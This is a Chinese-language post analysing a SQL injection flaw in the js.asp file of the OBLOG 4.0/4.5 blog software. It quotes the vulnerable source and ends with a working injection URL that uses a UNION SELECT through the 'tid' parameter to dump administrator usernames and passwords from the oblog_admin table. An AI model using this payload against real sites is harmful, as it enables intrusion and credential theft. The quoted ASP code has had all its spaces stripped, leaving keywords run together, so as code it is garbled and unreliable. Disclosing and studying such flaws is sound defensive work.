OBLOG4.0 OBLOG4.5漏洞利用分析

时间:2021-05-26

来源:DeepenStudy

漏洞文件:js.asp
<%
Dimoblog
setoblog=newclass_sys
oblog.autoupdate=False
oblog.start
dimjs_blogurl,n
js_blogurl=Trim(oblog.CacheConfig(3))
n=CInt(Request(”n”))
ifn=0thenn=1
selectcaseCInt(Request(”j”))
case1
calltongji()
case2
calltopuser()
case3
calladduser()
case4
calllistclass()
case5
callshowusertype()
case6
calllistbestblog()
case7
callshowlogin()
case8
callshowplace()
case9
callshowphoto()
case10
callshowblogstars()
Case11
Callshow_hotblog()
Case12
Callshow_teams()
Case13
Callshow_posts()
Case14
Callshow_hottag()
case0
callshowlog()
endselect
****************省略部分代码******************
Subshow_posts()
Dimteamid,postnum,l,u,t
teamid=Request(”tid”)
postnum=n
l=CInt(Request(”l”))
u=CInt(Request(”u”))
t=CInt(Request(”t”))
Dimrs,sql,sRet,sAddon
Sql=”selectTop”&postnum&”teamid,postid,topic,addtime,author,useridFromoblog_teampostWhereidepth=0andisdel=0”
Ifteamid<>“”Andteamid<>“0″Then
teamid=Replace(teamid,”|”,”,”)
Sql=Sql&”AndteamidIn(”&teamid&“)”
EndIf
Sql=Sql&”orderbypostidDesc”
Setrs=oblog.Execute(Sql)
sRet=”


DoWhileNotrs.Eof
sAddon=”"
*sRet=sRet&“”&oblog.Filt_html(Left(rs(2),l))&“”
Ifu=1ThensAddon=rs(4)
ift=1Then
IfsAddon<>“”ThensAddon=sAddon&“,”
sAddon=sAddon&rs(3)
EndIf
IfsAddon<>“”ThensAddon=”(”&sAddon&“)”
sRet=sRet&sAddon&“


rs.Movenext
Loop
Setrs=Nothing
sRet=sRet&“


Response.writeoblog.htm2js(sRet,True)
EndSub
调用show_posts()过程必须要符合上面的参数n=1,j=13
(”&teamid&“)
http://.cn/js.asp?n=1&j=13&tid=1)and1=2unionselectusername,password,3,4,5,6fromoblog_adminwhereid=(1

声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。

相关文章